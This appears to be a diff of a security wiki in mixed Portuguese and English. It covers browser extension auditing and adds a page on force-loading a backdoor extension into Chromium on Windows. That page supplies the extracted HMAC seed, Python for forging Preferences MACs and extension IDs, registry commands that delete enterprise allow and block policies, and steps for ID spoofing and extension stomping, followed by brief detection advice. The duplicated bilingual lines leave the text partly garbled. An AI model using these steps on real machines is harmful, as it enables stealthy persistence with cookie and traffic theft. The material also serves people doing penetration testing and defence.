> A extensão do navegador também precisa que a permissão `nativeMessaing` esteja declarada para poder usar essa comunicação.
É assim que parece um código de script de fundo enviando mensagens para uma aplicação nativa:
This is how it looks like some background script code sending messages to a native application:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -556,42 +562,42 @@ console.log("Received " + response)
}
)
```
Em [**este post do blog**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), um padrão vulnerável que abusa de mensagens nativas é proposto:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), um padrão vulnerável que abusa de native messages é proposto:
1. A extensão do navegador tem um padrão curinga para o script de conteúdo.
2. O script de conteúdo passa mensagens `postMessage` para o script de fundo usando `sendMessage`.
3. O script de fundo passa a mensagem para o aplicativo nativo usando `sendNativeMessage`.
4. O aplicativo nativo manipula a mensagem de forma perigosa, levando à execução de código.
1. Browser extension has a wildcard pattern for content script.
2. Content script passes `postMessage` messages to the background script using `sendMessage`.
3. Background script passes the message to native application using `sendNativeMessage`.
4. Native application handles the message dangerously, leading to code execution.
E dentro dele, um exemplo de **como ir de qualquer página para RCE abusando de uma extensão do navegador é explicado**.
E dentro dele é apresentado um exemplo de **going from any page to RCE abusing a browser extension is explained**.
## Informações Sensíveis na Memória/Código/Área de Transferência
## Sensitive Information in Memory/Code/Clipboard
Se uma Extensão do Navegador armazena **informações sensíveis dentro de sua memória**, isso pode ser **despejado** (especialmente em máquinas Windows) e **procurado** por essas informações.
Se uma Browser Extension armazena **informação sensível na sua memória**, isso pode ser **dumped** (especialmente em máquinas Windows) e **procurado** por essa informação.
Portanto, a memória da Extensão do Navegador **não deve ser considerada segura** e **informações sensíveis** como credenciais ou frases mnemônicas **não devem ser armazenadas**.
Portanto, a memória da Browser Extension **não deve ser considerada segura** e **informação sensível** como credenciais ou frases mnemônicas **não deve ser armazenada**.
Claro, não **coloque informações sensíveis no código**, pois isso será **público**.
Claro, não coloque informação sensível no código, pois ela será **pública**.
Para despejar a memória do navegador, você pode **despejar a memória do processo** ou ir para as **configurações** da extensão do navegador, clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis.
Para dump da memória do browser você pode **dump the process memory** ou ir às **settings** da browser extension clicar em **`Inspect pop-up`** -> Na secção **`Memory`** -> **`Take a snaphost`** e usar **`CTRL+F`** para procurar dentro do snapshot por informação sensível.
Além disso, informações altamente sensíveis como chaves mnemônicas ou senhas **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos) porque então processos que monitoram a área de transferência poderão obtê-las.
Além disso, informação altamente sensível como chaves mnemônicas ou passwords **não deve ser permitida ser copiada para a clipboard** (ou pelo menos removê-la da clipboard em alguns segundos) porque processos que monitorizam a clipboard poderão obtê-las.
## Carregando uma Extensão no Navegador
## Loading an Extension in the Browser
1. **Baixe** a Extensão do Navegador & descompacte
2. Vá para **`chrome://extensions/`** e **ative** o `Modo de Desenvolvedor`
3. Clique no botão **`Carregar sem compactação`**
1. **Download** the Browser Extension & unzipped
2. Vá para **`chrome://extensions/`** e **ative** o `Developer Mode`
3. Clique no botão **`Load unpacked`**
No **Firefox**, você vai para **`about:debugging#/runtime/this-firefox`** e clica no botão **`Carregar Complemento Temporário`**.
No **Firefox** vá para **`about:debugging#/runtime/this-firefox`** e clique no botão **`Load Temporary Add-on`**.
## Obtendo o código-fonte da loja
## Getting the source code from the store
O código-fonte de uma extensão do Chrome pode ser obtido através de vários métodos. Abaixo estão explicações detalhadas e instruções para cada opção.
O código-fonte de uma Chrome extension pode ser obtido através de vários métodos. Abaixo estão explicações detalhadas e instruções para cada opção.
### Baixar Extensão como ZIP via Linha de Comando
### Download Extension as ZIP via Command Line
O código-fonte de uma extensão do Chrome pode ser baixado como um arquivo ZIP usando a linha de comando. Isso envolve usar `curl` para buscar o arquivo ZIP de uma URL específica e, em seguida, extrair o conteúdo do arquivo ZIP para um diretório. Aqui estão os passos:
O código-fonte de uma Chrome extension pode ser descarregado como um ficheiro ZIP usando a linha de comando. Isto envolve usar `curl` para obter o ficheiro ZIP a partir de uma URL específica e depois extrair o conteúdo do ZIP para um diretório. Aqui estão os passos:
1. Substitua `"extension_id"` pelo ID real da extensão.
2. Execute os seguintes comandos:
@ -600,100 +606,108 @@ extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### Use o site CRX Viewer
### Use the CRX Viewer website
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### Use a extensão CRX Viewer
### Use the CRX Viewer extension
Outro método conveniente é usar o Chrome Extension Source Viewer, que é um projeto de código aberto. Ele pode ser instalado na [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). O código-fonte do visualizador está disponível em seu [repositório do GitHub](https://github.com/Rob--W/crxviewer).
Outro método conveniente é usar o Chrome Extension Source Viewer, que é um projeto open-source. Pode ser instalado a partir da [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). O código-fonte do viewer está disponível em seu [GitHub repository](https://github.com/Rob--W/crxviewer).
### Visualizar o código-fonte da extensão instalada localmente
### View source of locally installed extension
As extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
Extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
1. Acesse o diretório do seu perfil local do Chrome visitando `chrome://version/` e localizando o campo "Profile Path".
2. Navegue até a subpasta `Extensions/` dentro do diretório do perfil.
1. Acesse o diretório de perfil local do Chrome visitando `chrome://version/` e localizando o campo "Profile Path".
2. Navegue até a subpasta `Extensions/` dentro do diretório de perfil.
3. Esta pasta contém todas as extensões instaladas, tipicamente com seu código-fonte em um formato legível.
Para identificar extensões, você pode mapear seus IDs para nomes:
- Ative o Modo Desenvolvedor na página `about:extensions` para ver os IDs de cada extensão.
- Dentro da pasta de cada extensão, o arquivo `manifest.json` contém um campo `name` legível, ajudando você a identificar a extensão.
- Ative o Developer Mode na página `about:extensions` para ver os IDs de cada extensão.
- Dentro da pasta de cada extensão, o arquivo `manifest.json` contém um campo `name` legível, ajudando a identificar a extensão.
### Use um Arquivador de Arquivos ou Descompactador
### Use a File Archiver or Unpacker
para a Chrome Web Store e baixe a extensão. O arquivo terá a extensão `.crx`. Altere a extensão do arquivo de `.crx` para `.zip`. Use qualquer arquivador de arquivos (como WinRAR, 7-Zip, etc.) para extrair o conteúdo do arquivo ZIP.
ao Chrome Web Store e faça o download da extensão. O arquivo terá a extensão `.crx`. Altere a extensão do arquivo de `.crx` para `.zip`. Use qualquer arquivador de arquivos (como WinRAR, 7-Zip, etc.) para extrair o conteúdo do arquivo ZIP.
### Use o Modo Desenvolvedor no Chrome
### Use Developer Mode in Chrome
Abra o Chrome e vá para `chrome://extensions/`. Ative o "Modo desenvolvedor" no canto superior direito. Clique em "Carregar extensão descompactada...". Navegue até o diretório da sua extensão. Isso não baixa o código-fonte, mas é útil para visualizar e modificar o código de uma extensão já baixada ou desenvolvida.
Abra o Chrome e vá para `chrome://extensions/`. Habilite "Developer mode" no canto superior direito. Clique em "Load unpacked extension...". Navegue até o diretório da sua extensão. Isso não baixa o código-fonte, mas é útil para visualizar e modificar o código de uma extensão já baixada ou desenvolvida.
## Conjunto de dados do manifesto da extensão do Chrome
## Chrome extension manifest dataset
Para tentar identificar extensões de navegador vulneráveis, você pode usar o [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) e verificar seus arquivos de manifesto em busca de sinais potencialmente vulneráveis. Por exemplo, para verificar extensões com mais de 25000 usuários, `content_scripts` e a permissão `nativeMessaing`:
Para tentar identificar extensões de navegador vulneráveis você pode usar o[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) e verificar seus arquivos manifest em busca de sinais potencialmente vulneráveis. Por exemplo, para checar por extensões com mais de 25000 usuários, `content_scripts` e a permissão `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Lista de Verificação de Auditoria de Segurança
## Post-exploitation: Forced extension load & persistence (Windows)
Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias potenciais de endurecimento**. As seguintes são as mais comuns:
Técnica furtiva para backdoorar o Chromium editando diretamente as Preferences por usuário e forjando HMACs válidos, fazendo com que o navegador aceite e ative uma arbitrary unpacked extension sem prompts ou flags.
- [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
- [ ] **Limitar** o máximo possível as **`host_permissions`**
- [ ] Usar uma **política de segurança de conteúdo** **`strong`**
- [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixá-lo por padrão, especificar **`{}`**
- [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens para os scripts de fundo diretamente**. Um bypass muito poderoso.
- [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazios se possível.
- [ ] Se **`web_accessible_resources`** não for nenhum, verifique [**ClickJacking**](browext-clickjacking.md)
- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verifique por XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
- [ ] Se Post Messages forem usados, verifique por [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
- [ ] Faça uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo**
- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verifique se a comunicação é segura e sanitizada
- [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
- [ ] **Informações sensíveis não devem ser armazenadas** dentro da memória da Extensão do Navegador
- [ ] **Informações sensíveis não devem ser armazenadas** dentro do **sistema de arquivos sem proteção**
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## Riscos da Extensão do Navegador
## Checklist de Auditoria de Segurança
- O aplicativo [https://crxaminer.tech/](https://crxaminer.tech/) analisa alguns dados, como as permissões que a extensão do navegador solicita, para dar um nível de risco de uso da extensão do navegador.
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas podem conter **vulnerabilidades** ou **potenciais melhorias de hardening**. As seguintes são as mais comuns:
- [ ] **Limitar** ao máximo os **`permissions`** solicitados
- [ ] **Limitar** ao máximo os **`host_permissions`**
- [ ] Usar uma **strong** **`content_security_policy`**
- [ ] **Limitar** ao máximo o **`externally_connectable`**; se nenhum for necessário e possível, não deixe por default, especifique **`{}`**
- [ ] Se uma **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente aos background scripts**. Bypass muito poderoso.
- [ ] **Limitar** ao máximo os **`web_accessible_resources`**, mesmo vazio se possível.
- [ ] Se **`web_accessible_resources`** não for none, verifique por [**ClickJacking**](browext-clickjacking.md)
- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página web**, [**verifique por XSS**](browext-xss-example.md) **vulnerabilities** causadas na comunicação.
- [ ] Se Post Messages estiverem sendo usados, verifique por [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Se o **Content Script acessa detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** caso sejam **modificados** pela web
- [ ] Faça ênfase especial se essa comunicação também estiver envolvida na **Content Script -> Background script communication**
- [ ] Se o background script estiver se comunicando via **native messaging**, verifique se a comunicação é segura e sanitizada
- [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Browser Extension
- [ ] **Informações sensíveis não devem ser armazenadas** na memória da Browser Extension
- [ ] **Informações sensíveis não devem ser armazenadas** no **file system sem proteção**
## Riscos de Browser Extension
- O app [https://crxaminer.tech/](https://crxaminer.tech/) analisa alguns dados como os permissions que a browser extension solicita para fornecer um nível de risco do uso da browser extension.
## Ferramentas
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome webstore.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizador**: simplesmente exibe uma versão JSON formatada do manifesto da extensão.
- **Análise de Impressão Digital**: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital da extensão do Chrome.
- **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
- **Visualizador de Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de solicitação de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
- **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
- **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
- Tanto os scanners de Função(ões) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
- Trecho de código relevante e linha que causou o alerta.
- Descrição do problema.
- Um botão “Ver Arquivo” para visualizar o arquivo fonte completo contendo o código.
- O caminho do arquivo alertado.
- O URI completo da extensão do Chrome do arquivo alertado.
- O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
- Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde está incluída, bem como o tipo dessas páginas, e o status de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
- **Bibliotecas Conhecidas Vulneráveis**: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
- Baixar extensão e versões formatadas.
- Baixar a extensão original.
- Baixar uma versão embelezada da extensão (HTML e JavaScript auto formatados).
- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido aos resultados estarem em cache.
- URLs de Relatório Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
- Baixa qualquer Chrome extension a partir de um link do Chrome webstore fornecido.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simplesmente exibe uma versão JSON-prettified do manifest da extension.
- **Fingerprint Analysis**: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript para fingerprinting de Chrome extension.
- **Potential Clickjacking Analysis**: Detecção de páginas HTML da extension com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Essas podem ser potencialmente vulneráveis a clickjacking dependendo da finalidade das páginas.
- **Permission Warning(s) viewer**: mostra uma lista de todos os avisos de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
- **Dangerous Function(s)**: mostra a localização de funções perigosas que poderiam ser potencialmente exploradas por um atacante (ex.: funções como innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: mostra onde a extensão recebe input do usuário/externo. Útil para entender a superfície da extensão e procurar pontos potenciais para enviar dados maliciosamente crafted para a extensão.
- Ambos os scanners Dangerous Function(s) e Entry Point(s) possuem, para seus alertas gerados:
- Trecho de código relevante e linha que causou o alerta.
- Descrição do problema.
- Um botão “View File” para ver o arquivo fonte completo contendo o código.
- O caminho do arquivo alertado.
- O URI completo da extensão Chrome do arquivo alertado.
- O tipo de arquivo, como Background Page script, Content Script, Browser Action, etc.
- Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde ele é incluído, bem como o tipo dessas páginas e o status de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Content Security Policy (CSP) analyzer and bypass checker**: Aponta fraquezas no CSP da sua extensão e também ilumina possíveis formas de burlar o CSP devido a CDNs listadas como whitelist, etc.
- **Known Vulnerable Libraries**: Utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar o uso de bibliotecas JavaScript conhecidas como vulneráveis.
- Download da extensão e versões formatadas.
- Download da extensão original.
- Download de uma versão beautified da extensão (HTML e JavaScript auto-prettified).
- Cache automático dos resultados de scan; rodar um scan de extensão levará um bom tempo na primeira vez. Na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido ao cache dos resultados.
- URLs de relatório linkáveis, facilitando enviar a alguém um relatório de extensão gerado pelo tarnish.
### [Neto](https://github.com/elevenpaths/neto)
O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte em Javascript e HTML.
O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar funcionalidades ocultas de browser plugins e extensions para navegadores conhecidos como Firefox e Chrome. Automatiza o processo de descompactar os arquivos empacotados para extrair essas funcionalidades de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte Javascript e HTML.
## Referências
- **Agradecimentos a** [**@naivenom**](https://twitter.com/naivenom) **pela ajuda com esta metodologia**
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

View File

@ -0,0 +1,208 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## Visão geral
Técnica stealthy de post-exploitation para force-load arbitrary extensions em navegadores baseados em Chromium no Windows editando as Preferences/Secure Preferences de um usuário e forjando HMACs válidos para os nós modificados. Funciona contra Chrome/Chromium, Edge e Brave. Observado aplicável do Chromium 130 ao 139 na data de publicação. Um simples disk write primitive no profile da vítima é suficiente para persistir uma extensão com privilégios completos sem flags de linha de comando ou prompts do usuário.
> Ideia-chave: Chromium armazena o estado por usuário das extensões em um arquivo de preferences JSON e o protege com HMAC-SHA256. Se você calcular MACs válidos com a seed embutida do navegador e escrevê-los ao lado dos nós injetados, o navegador aceita e ativa sua entrada de extensão.
## Onde o estado da extensão fica (Windows)
- Nondomainjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
- Domainjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Principais nós usados pelo Chromium:
- extensions.settings.<extension_id> → embedded manifest/metadata para a entrada da extensão
- protection.macs.extensions.settings.<extension_id> → HMAC para esse blob JSON
- Chromium ≥134: extensions.ui.developer_mode (boolean) deve estar presente e MACsigned para que unpacked extensions sejam ativadas
Esquema simplificado (ilustrativo):
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
Notas:
- Edge/Brave mantêm estruturas similares. O valor do protection seed pode diferir (observouse que, em alguns builds, Edge/Brave usam uma seed nula/ou outra).
## IDs de extensão: caminho vs chave e como tornálos determinísticos
O Chromium deriva o ID da extensão da seguinte forma:
- Extensão empacotada/assinada: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
- Desempacotada (sem "key" em manifest.json): ID = SHA256 over the absolute installation path bytes → map 0f to ap
Para manter um ID estável entre hosts, incorpore uma chave pública DER fixa em base64 em manifest.json sob o campo "key". O ID será derivado dessa chave em vez do caminho de instalação.
Auxiliar para gerar um ID determinístico e um par de chaves:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
Adicione a chave pública gerada ao seu manifest.json para bloquear o ID:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Forging Preferences integrity MACs (core bypass)
Chromium protege as preferências com HMACSHA256 sobre "path" + valor JSON serializado de cada nó. A HMAC seed está embutida no resources.pak do navegador e ainda era válida até o Chromium 139.
Extraia a seed com GRIT pak_util e localize o seed container (file id 146 nas builds testadas):
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
Calcule os MACs (hexadecimal em maiúsculas) como:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
Exemplo mínimo em Python:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Write the values under:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
> Dicas de implementação
> - Use exatamente a mesma serialização JSON que o Chromium usa ao calcular os MACs (JSON compacto sem whitespace funciona na prática; ordenar chaves pode ajudar a evitar problemas de ordenação).
> - Garanta que extensions.ui.developer_mode exista e esteja assinada no Chromium ≥134, ou sua entrada unpacked não será ativada.
## Fluxo de carregamento silencioso ponta a ponta (Windows)
1) Gere um ID determinístico e incorpore "key" em manifest.json; prepare uma extensão MV3 unpacked com as permissões desejadas (service worker/content scripts)
2) Crie extensions.settings.<id> incorporando o manifest e os metadados mínimos de instalação exigidos pelo Chromium (state, path for unpacked, etc.)
3) Extraia o seed HMAC de resources.pak (file 146) e calcule dois MACs: um para o nó de settings e outro para extensions.ui.developer_mode (Chromium ≥134)
4) Grave os nós forjados e os MACs nas Preferences/Secure Preferences do perfil alvo; no próximo lançamento sua extensão será autoativada com todos os privilégios declarados
## Contornando controles empresariais
- Whitelisted extension hash spoofing (ID spoofing)
1) Instale uma extensão válida da Web Store e anote seu ID
2) Obtenha sua public key (por exemplo, via chrome.runtime.getManifest().key no background/service worker ou buscando/parseando seu .crx)
3) Defina essa key como manifest.key na sua extensão modificada para reproduzir o mesmo ID
4) Registre a entrada nas Preferences e assine os MACs → verificações do ExtensionInstallAllowlist que batem apenas pelo ID são contornadas
- Extension stomping (ID collision precedence)
- Se uma extensão local unpacked compartilha o mesmo ID de uma extensão instalada pela Web Store, o Chromium prefere a versão unpacked. Isso substitui efetivamente a extensão legítima em chrome://extensions enquanto preserva o ID confiável. Verificado no Chrome e no Edge (ex.: Adobe PDF)
- Neutralizing GPO via HKCU (requires admin)
- Chrome/Edge policies live under HKCU\Software\Policies\*
- Com privilégios de admin, delete/modifique as chaves de policy antes de gravar suas entradas para evitar bloqueios:
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## Fallback ruidoso: carregamento pela linha de comando
A partir do Chromium ≥137, --load-extension também exige passar:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
Related flags and more crossplatform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## Impacto operacional
Uma vez aceita, a extensão é executada com as permissões declaradas, permitindo acesso ao DOM, interceptação/redirecionamento de requests, acesso a cookie/storage e captura de screenshots — efetivamente execução de código no navegador e persistência durável no perfil do usuário. A implantação remota via SMB ou outros canais é direta porque a ativação é orientada por dados através das Preferences.
## Detecção e hardening
- Monitorar processos nãoChromium escrevendo em Preferences/Secure Preferences, especialmente novos nós sob extensions.settings pareados com entradas protection.macs
- Alertar sobre alternâncias inesperadas de extensions.ui.developer_mode e sobre entradas de extensão HMACválidas mas não aprovadas
- Auditar HKCU/HKLM Software\Policies para adulteração; aplicar políticas via gerenciamento de dispositivos/Chrome Browser Cloud Management
- Preferir forcedinstall a partir da store com publishers verificados em vez de allowlists que correspondam apenas ao extension ID
## Referências
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}